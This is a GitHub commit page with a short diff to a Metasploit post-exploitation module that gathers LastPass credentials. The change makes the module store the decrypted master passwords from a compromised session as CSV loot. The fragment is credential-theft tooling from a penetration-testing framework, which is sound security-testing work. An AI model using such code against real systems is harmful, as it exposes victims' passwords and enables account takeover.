Skip to content

Commit 88c1647

Browse files
committed
Loot the passwords, obviously
1 parent 0971d7c commit 88c1647

File tree

1 file changed

+11
-1
lines changed

1 file changed

+11
-1
lines changed

modules/post/multi/gather/lastpass_creds.rb

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -104,7 +104,17 @@ def run
104104
password = clear_text_password(user, enc_pass)
105105
credentials_table << [account, browser, user, password]
106106
end
107-
print_good credentials_table.to_s unless credentials.empty?
107+
unless credentials.empty?
108+
print_good credentials_table.to_s
109+
path = store_loot(
110+
"lastpass.creds",
111+
"text/csv",
112+
session,
113+
credentials_table.to_csv,
114+
nil,
115+
"Decrypted LastPass Master Passwords"
116+
)
117+
end
108118
end
109119

110120
# Returns a mapping of { Account => { Browser => paths } }

0 commit comments

Comments
 (0)